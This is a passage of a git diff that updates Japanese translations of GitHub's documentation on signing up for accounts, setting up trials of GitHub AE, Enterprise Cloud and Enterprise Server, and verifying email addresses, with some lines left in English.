-If you [clone with SSH](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls), you must [generate SSH keys](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) on each computer you use to push or pull from {% data variables.product.product_name %}.
+[SSH でクローンする場合](/github/getting-started-with-github/about-remote-repositories/#cloning-with-ssh-urls)、{% data variables.product.product_name %} からプッシュまたはプルするには、使っているそれぞれのコンピュータに [SSH キー](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)を生成する必要があります。
 
-## Celebrate
+## おめでとうございます
 
-Congratulations, you now have Git and {% data variables.product.prodname_dotcom %} all set up! You may now choose to create a repository where you can put your projects. This is a great way to back up your code and makes it easy to share the code around the world. For more information see "[Create a repository](/articles/create-a-repo)".
+おめでとうございます。これで、Git と {% data variables.product.prodname_dotcom %} はすべてセットアップされました。 You may now choose to create a repository where you can put your projects. This is a great way to back up your code and makes it easy to share the code around the world. For more information see "[Create a repository](/articles/create-a-repo)".
 
 You can create a copy of a repository by forking it and propose the changes that you want to see without affecting the upstream repository. For more information see "[Fork a repository](/articles/fork-a-repo)."
 
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/index.md b/translations/ja-JP/content/get-started/signing-up-for-github/index.md
index 5b9a0d3fcd..a7e6e8a7c1 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/index.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Signing up for GitHub
+title: GitHub へのサインアップ
 intro: 'Start using {% data variables.product.prodname_dotcom %} for yourself or your team.'
 redirect_from:
   - /articles/signing-up-for-github
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
index 2f1cf8bcf2..b25319a644 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-ae.md
@@ -1,6 +1,6 @@
 ---
 title: Setting up a trial of GitHub AE
-intro: 'You can try {% data variables.product.prodname_ghe_managed %} for free.'
+intro: '{% data variables.product.prodname_ghe_managed %} のトライアルは無料でできます。'
 versions:
   ghae: '*'
 topics:
@@ -10,12 +10,12 @@ shortTitle: GitHub AE trial
 
 ## About the {% data variables.product.prodname_ghe_managed %} trial
 
-You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region. 
+You can set up a 90-day trial to evaluate {% data variables.product.prodname_ghe_managed %}. This process allows you to deploy a {% data variables.product.prodname_ghe_managed %} account in your existing Azure region.
 
 - **{% data variables.product.prodname_ghe_managed %} account**: The Azure resource that contains the required components, including the instance.
 - **{% data variables.product.prodname_ghe_managed %} portal**: The Azure management tool at [https://portal.azure.com](https://portal.azure.com). This is used to deploy the {% data variables.product.prodname_ghe_managed %} account.
 
-## Setting up your trial of {% data variables.product.prodname_ghe_managed %}
+## {% data variables.product.prodname_ghe_managed %} のトライアルを設定する
 
 
 Before you can start your trial of {% data variables.product.prodname_ghe_managed %}, you must request access by contacting your {% data variables.product.prodname_dotcom %} account team. {% data variables.product.prodname_dotcom %} will enable the {% data variables.product.prodname_ghe_managed %} trial for your Azure subscription.
@@ -26,18 +26,16 @@ Contact {% data variables.contact.contact_enterprise_sales %} to check your elig
 
 The {% data variables.actions.azure_portal %} allows you to deploy the {% data variables.product.prodname_ghe_managed %} account in your Azure resource group.
 
-1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
+1. On the {% data variables.actions.azure_portal %}, type `GitHub AE` in the search field. Then, under _Services_, click {% data variables.product.prodname_ghe_managed %}. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-search.png)
 1. To begin the process of adding a new {% data variables.product.prodname_ghe_managed %} account, click **Create GitHub AE account**.
-1. Complete the "Project details" and "Instance details" fields.
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
+1. Complete the "Project details" and "Instance details" fields. ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-form.png)
     - **Account name:** The hostname for your enterprise
     - **Administrator username:** A username for the initial enterprise owner that will be created in {% data variables.product.prodname_ghe_managed %}
     - **Administrator email:** The email address that will receive the login information
 1. To review a summary of the proposed changes, click **Review + create**.
 1. After the validation process has completed, click **Create**.
 
-The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/initializing-github-ae)."
+The email address you entered above will receive instructions on how to access your enterprise. After you have access, you can get started by following the initial setup steps. 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} を初期化する](/admin/configuration/initializing-github-ae)」を参照してください。
 
 {% note %}
 
@@ -50,20 +48,19 @@ The email address you entered above will receive instructions on how to access y
 You can use the {% data variables.actions.azure_portal %} to navigate to your {% data variables.product.prodname_ghe_managed %} instance. The resulting list includes all the {% data variables.product.prodname_ghe_managed %} instances in your Azure region.
 
 1. On the {% data variables.actions.azure_portal %}, in the left panel, click **All resources**.
-1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**:
-    ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
+1. From the available filters, click **All types**, then deselect **Select all** and select **GitHub AE**: ![{% data variables.actions.azure_portal %} search result](/assets/images/azure/github-ae-azure-portal-type-filter.png)
 
-## Next steps
+## 次のステップ
 
-Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+Once your instance has been provisioned, the next step is to initialize {% data variables.product.prodname_ghe_managed %}. 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} を初期化する](/github-ae@latest/admin/configuration/configuring-your-enterprise/initializing-github-ae)」を参照してください。
 
-## Finishing your trial
+## トライアルを終了する
 
 You can upgrade to a full license at any time during the trial period by contacting contact {% data variables.contact.contact_enterprise_sales %}. If you haven't upgraded by the last day of your trial, then the instance is automatically deleted.
 
-If you need more time to evaluate {% data variables.product.prodname_ghe_managed %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+{% data variables.product.prodname_ghe_managed %} を評価するための時間がさらに必要な場合は、{% data variables.contact.contact_enterprise_sales %} に連絡して延長をリクエストしてください。
 
-## Further reading 
+## 参考リンク
 
 - "[Enabling {% data variables.product.prodname_advanced_security %} features on {% data variables.product.prodname_ghe_managed %}](/github/getting-started-with-github/about-github-advanced-security#enabling-advanced-security-features-on-github-ae)"
 - "[{% data variables.product.prodname_ghe_managed %} release notes](/github-ae@latest/admin/overview/github-ae-release-notes)" 
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
index f5c9633c79..4060caeea3 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a trial of GitHub Enterprise Cloud
-intro: 'You can try {% data variables.product.prodname_ghe_cloud %} for free.'
+title: GitHub Enterprise Cloud のトライアルを設定する
+intro: '{% data variables.product.prodname_ghe_cloud %} のトライアルは無料でできます。'
 redirect_from:
   - /articles/setting-up-a-trial-of-github-enterprise-cloud
   - /github/getting-started-with-github/setting-up-a-trial-of-github-enterprise-cloud
@@ -17,7 +17,7 @@ shortTitle: Enterprise Cloud trial
 {% data reusables.enterprise.ghec-cta-button %}
 
 
-## About {% data variables.product.prodname_ghe_cloud %}
+## {% data variables.product.prodname_ghe_cloud %}について
 
 {% data variables.product.prodname_ghe_cloud %} is a plan for large businesses or teams who collaborate on {% data variables.product.prodname_dotcom_the_website %}.
 
@@ -33,44 +33,41 @@ You can use organizations for free with {% data variables.product.prodname_free_
 
 {% data reusables.products.which-product-to-use %}
 
-## About trials of {% data variables.product.prodname_ghe_cloud %}
+## {% data variables.product.prodname_ghe_cloud %} のトライアルについて
 
-You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. You do not need to provide a payment method during the trial unless you add {% data variables.product.prodname_marketplace %} apps to your organization that require a payment method. For more information, see "<a href="/articles/about-billing-for-github-marketplace/" class="dotcom-only">About billing for {% data variables.product.prodname_marketplace %}</a>."
+You can set up a 30-day trial to evaluate {% data variables.product.prodname_ghe_cloud %}. 支払方法が必要な {% data variables.product.prodname_marketplace %} アプリを Organization に追加しない限り、トライアル期間中に支払方法を指定する必要はありません。 詳しい情報については、「<a href="/articles/about-billing-for-github-marketplace/" class="dotcom-only">{% data variables.product.prodname_marketplace %}の支払いについて</a>」を参照してください。
 
-Your trial includes 50 seats. If you need more seats to evaluate {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.contact_enterprise_sales %}. At the end of the trial, you can choose a different number of seats.
+トライアルには50シートが含まれています。 {% data variables.product.prodname_ghe_cloud %} を評価するためにより多くのシートが必要な場合は、{% data variables.contact.contact_enterprise_sales %} にお問い合わせください。 トライアルの終了時に、別のシート数を選択できます。
 
-Trials are also available for {% data variables.product.prodname_ghe_server %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/articles/setting-up-a-trial-of-github-enterprise-server)."
+{% data variables.product.prodname_ghe_server %} のトライアルも利用できます。 詳しい情報については、「[{% data variables.product.prodname_ghe_server %} のトライアルを設定する](/articles/setting-up-a-trial-of-github-enterprise-server)」を参照してください。
 
-## Setting up your trial of {% data variables.product.prodname_ghe_cloud %}
+## {% data variables.product.prodname_ghe_cloud %} のトライアルを設定する
 
-Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. For more information, see "<a href="/articles/signing-up-for-a-new-github-account" class="dotcom-only">Signing up for a new {% data variables.product.prodname_dotcom %} account</a>."
+Before you can try {% data variables.product.prodname_ghe_cloud %}, you must be signed into a user account. If you don't already have a user account on {% data variables.product.prodname_dotcom_the_website %}, you must create one. 詳しい情報については、「<a href="/articles/signing-up-for-a-new-github-account" class="dotcom-only">新しい {% data variables.product.prodname_dotcom %} アカウントにサインアップする</a>」を参照してください。
 
 1. Navigate to [{% data variables.product.prodname_dotcom %} for enterprises](https://github.com/enterprise).
-1. Click **Start a free trial**.
-   !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png)
-1. Click **Enterprise Cloud**.
-   !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png)
+1. Click **Start a free trial**. !["Start a free trial" button](/assets/images/help/organizations/start-a-free-trial-button.png)
+1. Click **Enterprise Cloud**. !["Enterprise Cloud" button](/assets/images/help/organizations/enterprise-cloud-trial-option.png)
 1. Follow the prompts to configure your trial.
 
-## Exploring {% data variables.product.prodname_ghe_cloud %}
+## {% data variables.product.prodname_ghe_cloud %} に触れる
 
-After setting up your trial, you can explore {% data variables.product.prodname_ghe_cloud %} by following the [Enterprise Onboarding Guide](https://resources.github.com/enterprise-onboarding/).
+トライアルを設定したら、[エンタープライズオンボーディングガイド](https://resources.github.com/enterprise-onboarding/)に従って {% data variables.product.prodname_ghe_cloud %} を試してみることができます。
 
 {% data reusables.docs.you-can-read-docs-for-your-product %}
 
 {% data reusables.products.product-roadmap %}
 
-## Finishing your trial
+## トライアルを終了する
 
-You can buy {% data variables.product.prodname_enterprise %} or downgrade to {% data variables.product.prodname_team %} at any time during your trial.
+トライアル期間中はいつでも {% data variables.product.prodname_enterprise %} を購入するか、{% data variables.product.prodname_team %} にダウングレードできます。
 
-If you don't purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %} before your trial ends, your organization will be downgraded to {% data variables.product.prodname_free_team %} and lose access to any advanced tooling and features that are only included with paid products, including {% data variables.product.prodname_pages %} sites published from those private repositories. If you don't plan to upgrade, to avoid losing access to advanced features, make the repositories public before your trial ends. For more information, see "[Setting repository visibility](/articles/setting-repository-visibility)."
+トライアル期間の終了までに {% data variables.product.prodname_enterprise %} または {% data variables.product.prodname_team %} を購入しない場合、Organization は {% data variables.product.prodname_free_team %} にダウングレードされ、これらのプライベートリポジトリから公開された {% data variables.product.prodname_pages %} サイトを含む有料の製品にのみ含まれる高度なツールや機能にアクセスできなくなります。 アップグレードする予定がない場合は、高度な機能へのアクセスを失わないように、トライアル期間の終了前にリポジトリを公開してください。 詳細は「[リポジトリの可視性を設定する](/articles/setting-repository-visibility)」を参照してください。
 
-Downgrading to {% data variables.product.prodname_free_team %} for organizations also disables any SAML settings configured during the trial period. Once you purchase {% data variables.product.prodname_enterprise %} or {% data variables.product.prodname_team %}, your SAML settings will be enabled again for users in your organization to authenticate.
+Organization の {% data variables.product.prodname_free_team %} にダウングレードすると、トライアル期間中に設定した SAML 設定も無効になります。 {% data variables.product.prodname_enterprise %} または {% data variables.product.prodname_team %} を購入すると、Organization 内のユーザーが認証できるように SAML 設定が再度有効になります。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.billing_plans %}
-5. Under "{% data variables.product.prodname_ghe_cloud %} Free Trial", click **Buy Enterprise** or **Downgrade to Team**.
-  ![Buy Enterprise and Downgrade to Team buttons](/assets/images/help/organizations/finish-trial-buttons.png)
-6. Follow the prompts to enter your payment method, then click **Submit**.
+5. [{% data variables.product.prodname_ghe_cloud %} Free Trial] の下で、[**Buy Enterprise**] または [**Downgrade to Team**] をクリックします。 ![[Buy Enterprise and Downgrade to Team] ボタン](/assets/images/help/organizations/finish-trial-buttons.png)
+6. プロンプトに従ってお支払い方法を入力し、[**Submit**] をクリックします。
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
index 1328f54580..77eb9bbd37 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server.md
@@ -1,6 +1,6 @@
 ---
-title: Setting up a trial of GitHub Enterprise Server
-intro: 'You can try {% data variables.product.prodname_ghe_server %} for free.'
+title: GitHub Enterprise Server のトライアルを設定する
+intro: '{% data variables.product.prodname_ghe_server %} のトライアルは無料でできます。'
 redirect_from:
   - /articles/requesting-a-trial-of-github-enterprise
   - /articles/setting-up-a-trial-of-github-enterprise-server
@@ -14,54 +14,55 @@ topics:
   - Accounts
 shortTitle: Enterprise Server trial
 ---
-## About trials of {% data variables.product.prodname_ghe_server %}
 
-You can request a 45-day trial to evaluate {% data variables.product.prodname_ghe_server %}. Your trial will be installed as a virtual appliance, with options for on-premises or cloud deployment. For a list of supported visualization platforms, see "[Setting up a GitHub Enterprise Server instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+## {% data variables.product.prodname_ghe_server %} のトライアルについて
 
-{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}Security{% endif %} alerts and {% data variables.product.prodname_github_connect %} are not currently available in trials of {% data variables.product.prodname_ghe_server %}. For a demonstration of these features, contact {% data variables.contact.contact_enterprise_sales %}. For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+{% data variables.product.prodname_ghe_server %} を評価するための 45 日間トライアルをリクエストできます。 トライアルは仮想アプライアンスとしてインストールされ、オンプレミスまたはクラウドでのデプロイメントのオプションがあります。 サポートされている仮想化プラットフォームの一覧については「[GitHub Enterprise Server インスタンスをセットアップする](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)」を参照してください。
 
-Trials are also available for {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/articles/setting-up-a-trial-of-github-enterprise-cloud)."
+{% ifversion ghes %}{% data variables.product.prodname_dependabot %}{% else %}現在、セキュリティ{% endif %}アラートと {% data variables.product.prodname_github_connect %} は {% data variables.product.prodname_ghe_server %} のトライアルでは利用できません。 これらの機能のデモについては、{% data variables.contact.contact_enterprise_sales %} にお問い合わせください。 For more information about these features, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)" and "[Connecting your enterprise account to {% data variables.product.prodname_ghe_cloud %}](/enterprise-server@latest/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+
+{% data variables.product.prodname_ghe_cloud %} のトライアルも利用できます。 詳しい情報については、「[{% data variables.product.prodname_ghe_cloud %} のトライアルを設定する](/articles/setting-up-a-trial-of-github-enterprise-cloud)」を参照してください。
 
 {% data reusables.products.which-product-to-use %}
 
-## Setting up your trial of {% data variables.product.prodname_ghe_server %}
+## {% data variables.product.prodname_ghe_server %} のトライアルを設定する
 
-{% data variables.product.prodname_ghe_server %} is installed as a virtual appliance. Determine the best person in your organization to set up a virtual machine, and ask that person to submit a [trial request](https://enterprise.github.com/trial). You can begin your trial immediately after submitting a request.
+{% data variables.product.prodname_ghe_server %} は仮想アプライアンスとしてインストールされます。 組織で仮想マシンをセットアップするのに最適な担当者を決定し、その担当者に[トライアルリクエスト](https://enterprise.github.com/trial)をサブミットするよう依頼してください。 トライアルはリクエストをサブミットした直後に開始できます。
 
-To set up an account for the {% data variables.product.prodname_enterprise %} Web portal, click the link in the email you received after submitting your trial request, and follow the prompts. Then, download your license file. For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
+{% data variables.product.prodname_enterprise %} ウェブポータルのアカウントをセットアップするため、トライアルリクエストをサブミットした後に受信したメールにあるリンクをクリックして、プロンプトに従います。 次に、ライセンスファイルをダウンロードします。 For more information, see "[Managing your license for {% data variables.product.prodname_enterprise %}](/enterprise-server@latest/billing/managing-your-license-for-github-enterprise)."
 
-To install {% data variables.product.prodname_ghe_server %}, download the necessary components and upload your license file. For more information, see the instructions for your chosen visualization platform in "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)."
+{% data variables.product.prodname_ghe_server %} をインストールするために必要なコンポーネントをダウンロードしてライセンスファイルをアップロードします。 詳細は「[{% data variables.product.prodname_ghe_server %} インスタンスをセットアップする](/enterprise-server@latest/admin/installation/setting-up-a-github-enterprise-server-instance)」で、選択した可視化プラットフォームについての手順を参照してください。
 
-## Next steps
+## 次のステップ
 
-To get the most out of your trial, follow these steps:
+トライアルを最大限に活用するためには、次の手順に従ってください:
 
-1. [Create an organization](/enterprise-server@latest/admin/user-management/creating-organizations).
-2. To learn the basics of using {% data variables.product.prodname_dotcom %}, see:
-   - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) webcast
-   - [Understanding the {% data variables.product.prodname_dotcom %} flow](https://guides.github.com/introduction/flow/) in {% data variables.product.prodname_dotcom %} Guides
-   - [Hello World](https://guides.github.com/activities/hello-world/) in {% data variables.product.prodname_dotcom %} Guides
+1. [Organization を作成します](/enterprise-server@latest/admin/user-management/creating-organizations)。
+2. {% data variables.product.prodname_dotcom %} の基本的な使い方を学ぶには、次を参照してください:
+   - [Quick start guide to {% data variables.product.prodname_dotcom %}](https://resources.github.com/webcasts/Quick-start-guide-to-GitHub/) ウェブキャスト
+   - {% data variables.product.prodname_dotcom %} ガイドの [Understanding the {% data variables.product.prodname_dotcom %}flow](https://guides.github.com/introduction/flow/)
+   - {% data variables.product.prodname_dotcom %} ガイドの [Hello World](https://guides.github.com/activities/hello-world/)
    - "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)"
-3. To configure your instance to meet your organization's needs, see "[Configuring your enterprise](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)."
-4. To integrate {% data variables.product.prodname_ghe_server %} with your identity provider, see "[Using SAML](/enterprise-server@latest/admin/user-management/using-saml)" and "[Using LDAP](/enterprise-server@latest/admin/authentication/using-ldap)."
-5. Invite an unlimited number of people to join your trial.
-   - Add users to your {% data variables.product.prodname_ghe_server %} instance using built-in authentication or your configured identity provider. For more information, see "[Using built in authentication](/enterprise-server@latest/admin/user-management/using-built-in-authentication)."
-   - To invite people to become account administrators, visit the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login).
+3. 組織のニーズに合わせてインスタンスを設定するには、「[Enterprise を設定する](/enterprise-server@latest/admin/configuration/configuring-your-enterprise)」を参照してください。
+4. {% data variables.product.prodname_ghe_server %} とご使用のアイデンティティプロバイダとを統合するには、「[SAML を使用する](/enterprise-server@latest/admin/user-management/using-saml)」および「[LDAP を使用する](/enterprise-server@latest/admin/authentication/using-ldap)」を参照してください。
+5. 個人をトライアルに招待します。人数制限はありません。
+   - ビルトイン認証または設定済みアイデンティティプロバイダを使用して、ユーザを {% data variables.product.prodname_ghe_server %} インスタンスに追加します。 詳細は「[ビルトイン認証を使用する](/enterprise-server@latest/admin/user-management/using-built-in-authentication)」を参照してください。
+   - アカウント管理者になる個人を招待するには、[{% data variables.product.prodname_enterprise %}ウェブポータル](https://enterprise.github.com/login)にアクセスしてください。
 
     {% note %}
 
-    **Note:** People you invite to become account administrators will receive an email with a link to accept your invitation.
+    **注釈:** アカウント管理者になるよう招待したユーザには、招待を承諾するためのリンクが記載されたメールが届きます。
 
     {% endnote %}
 
 {% data reusables.products.product-roadmap %}
 
-## Finishing your trial
+## トライアルを終了する
 
-You can upgrade to full licenses in the [{% data variables.product.prodname_enterprise %} Web portal](https://enterprise.github.com/login) at any time during the trial period.
+トライアル期間中のいつでも [{% data variables.product.prodname_enterprise %} Web ポータル](https://enterprise.github.com/login)でフルライセンスにアップグレードできます。
 
-If you haven't upgraded by the last day of your trial, you'll receive an email notifying you that your trial had ended. If you need more time to evaluate {% data variables.product.prodname_enterprise %}, contact {% data variables.contact.contact_enterprise_sales %} to request an extension.
+トライアル最終日になってもアップグレードしていない場合、トライアルが終了したことを通知するメールが送信されます。 {% data variables.product.prodname_enterprise %} を評価するための時間がさらに必要な場合は、{% data variables.contact.contact_enterprise_sales %} に連絡して延長をリクエストしてください。
 
-## Further reading
+## 参考リンク
 
-- "[Setting up a trial of {% data variables.product.prodname_ghe_cloud %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)"
+- [{% data variables.product.prodname_ghe_cloud %} のトライアルをセットアップする](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-cloud)
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md b/translations/ja-JP/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
index d20a58f745..5e576bb616 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/signing-up-for-a-new-github-account.md
@@ -1,7 +1,7 @@
 ---
-title: Signing up for a new GitHub account
-shortTitle: Sign up for a new GitHub account
-intro: '{% data variables.product.company_short %} offers user accounts for individuals and organizations for teams of people working together.'
+title: 新しい GitHub アカウントへのサインアップ
+shortTitle: 新しい GitHub アカウントへのサインアップ
+intro: '{% data variables.product.company_short %} は、人々が協力して作業するチームのために個人および Organization のユーザアカウントを提供します。'
 redirect_from:
   - /articles/signing-up-for-a-new-github-account
   - /github/getting-started-with-github/signing-up-for-a-new-github-account
@@ -17,15 +17,15 @@ topics:
 
 You can create a personal account, which serves as your identity on {% data variables.product.prodname_dotcom_the_website %}, or an organization, which allows multiple personal accounts to collaborate across multiple projects. For more information about account types, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-When you create a personal account or organization, you must select a billing plan for the account. For more information, see "[{% data variables.product.company_short %}'s products](/get-started/learning-about-github/githubs-products)."
+When you create a personal account or organization, you must select a billing plan for the account. 詳細は「[{% data variables.product.company_short %} の製品](/get-started/learning-about-github/githubs-products)」を参照してください。
 
 ## Signing up for a new account
 
 {% data reusables.accounts.create-account %}
-1. Follow the prompts to create your personal account or organization.
+1. プロンプトに従って、個人アカウントまたは Organization を作成してください。
 
-## Next steps
+## 次のステップ
 
-- "[Verify your email address](/articles/verifying-your-email-address)"
+- 「[メールアドレスを検証する](/articles/verifying-your-email-address)」
 - "[Creating an enterprise account](/enterprise-cloud@latest/admin/overview/creating-an-enterprise-account)"{% ifversion fpt %} in the {% data variables.product.prodname_ghe_cloud %} documentation{% endif %}
-- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the  `github/roadmap` repository
+- `github/roadmap` リポジトリの [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %})
diff --git a/translations/ja-JP/content/get-started/signing-up-for-github/verifying-your-email-address.md b/translations/ja-JP/content/get-started/signing-up-for-github/verifying-your-email-address.md
index ec5d6be37c..97a8131a20 100644
--- a/translations/ja-JP/content/get-started/signing-up-for-github/verifying-your-email-address.md
+++ b/translations/ja-JP/content/get-started/signing-up-for-github/verifying-your-email-address.md
@@ -1,6 +1,6 @@
 ---
-title: Verifying your email address
-intro: 'Verifying your primary email address ensures strengthened security, allows {% data variables.product.prodname_dotcom %} staff to better assist you if you forget your password, and gives you access to more features on {% data variables.product.prodname_dotcom %}.'
+title: メールアドレスを検証する
+intro: 'プライマリメールアドレスを検証することでセキュリティが強化され、パスワードを忘れた場合、{% data variables.product.prodname_dotcom %} スタッフによる支援がさらに充実し、{% data variables.product.prodname_dotcom %} のその他の機能にアクセスできるようになります。'
 redirect_from:
   - /articles/troubleshooting-email-verification
   - /articles/setting-up-email-verification
@@ -14,58 +14,57 @@ topics:
   - Accounts
 shortTitle: Verify your email address
 ---
-## About email verification
 
-You can verify your email address after signing up for a new account, or when you add a new email address. If an email address is undeliverable or bouncing, it will be unverified.
+## メール検証について
 
-If you do not verify your email address, you will not be able to:
-  - Create or fork repositories
-  - Create issues or pull requests
-  - Comment on issues, pull requests, or commits
-  - Authorize {% data variables.product.prodname_oauth_app %} applications
-  - Generate personal access tokens
-  - Receive email notifications
-  - Star repositories
-  - Create or update project boards, including adding cards
-  - Create or update gists
-  - Create or use {% data variables.product.prodname_actions %}
-  - Sponsor developers with {% data variables.product.prodname_sponsors %}
+新しいアカウントにサインアップした後、または新しいメールアドレスを追加するときに、メールアドレスを検証できます。 メールアドレスが配信不能またはバウンスしている場合、そのメールアドレスは未検証になります。
+
+メールアドレスを検証しなければ、次のことができません:
+  - リポジトリを作成またはフォークすること
+  - Issue またはプルリクエストを作成すること
+  - Issue、プルリクエスト、あるいはコメントにコメントする
+  - {% data variables.product.prodname_oauth_app %} アプリケーションを承認すること
+  - 個人アクセストークンを生成すること
+  - メール通知を受け取ること
+  - リポジトリに Star を付けること
+  - カードの追加を含めて、プロジェクトボードを作成、更新すること
+  - Gist を作成すること
+  - {% data variables.product.prodname_actions %} を作成または利用すること
+  - {% data variables.product.prodname_sponsors %} で開発者をスポンサーする
 
 {% warning %}
 
-**Warnings**:
+**警告**:
 
 - {% data reusables.user_settings.no-verification-disposable-emails %}
 - {% data reusables.user_settings.verify-org-approved-email-domain %}
 
 {% endwarning %}
 
-## Verifying your email address
+## メールアドレスを検証する
 
 {% data reusables.user_settings.access_settings %}
 {% data reusables.user_settings.emails %}
-1. Under your email address, click **Resend verification email**.
-  ![Resend verification email link](/assets/images/help/settings/email-verify-button.png)
-4. {% data variables.product.prodname_dotcom %} will send you an email with a link in it. After you click that link, you'll be taken to your {% data variables.product.prodname_dotcom %} dashboard and see a confirmation banner.
-  ![Banner confirming that your email was verified](/assets/images/help/settings/email-verification-confirmation-banner.png)
+1. メールアドレスの下にある [**Resend verification email**] をクリックします。 ![[Resend verification email] リンク](/assets/images/help/settings/email-verify-button.png)
+4. {% data variables.product.prodname_dotcom %} からリンクが記載された電子メールが送信されます。 そのリンクをクリックすると、{% data variables.product.prodname_dotcom %} ダッシュボードに移動して確認バナーが表示されます。 ![メールが検証されたことを知らせるバナー](/assets/images/help/settings/email-verification-confirmation-banner.png)
 
-## Troubleshooting email verification
+## メール検証のトラブルシューティング
 
-### Unable to send verification email
+### 検証メールを送信できない
 
 {% data reusables.user_settings.no-verification-disposable-emails %}
 
-### Error page after clicking verification link
+### 検証用リンクをクリックした後のエラーページ
 
-The verification link expires after 24 hours. If you don't verify your email within 24 hours, you can request another email verification link. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+検証用リンクは、24 時間で期限が切れます。 24 時間以内にメールを検証しなかった場合、新たなメール検証用リンクをリクエストできます。 詳細は「[メールアドレスを検証する](/articles/verifying-your-email-address)」を参照してください。
 
 If you click on the link in the confirmation email within 24 hours and you are directed to an error page, you should ensure that you're signed into the correct account on {% data variables.product.product_location %}.
 
